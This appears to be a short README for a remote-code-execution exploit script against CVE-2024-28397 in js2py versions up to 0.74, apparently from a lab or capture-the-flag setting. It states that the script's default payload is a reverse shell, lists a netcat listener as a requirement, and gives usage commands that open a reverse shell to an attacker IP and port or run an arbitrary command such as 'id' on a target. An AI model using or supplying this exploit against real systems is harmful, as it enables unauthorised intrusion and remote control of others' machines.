CVE-2024-28397 RCE Script

Default reverse shell payload and optional command argument allowed

exploit works for js2py <= v0.74

Requirements

• Python 3.x
• requests library (pip install requests)
• Netcat listener (for reverse shell)

Example usage

Reverse shell:

python exploit.py 10.129.227.108 /run_code --local_ip 10.10.14.71 --local_port 4444

Custom command:

python exploit.py 10.129.227.108 /run_code --cmd "id"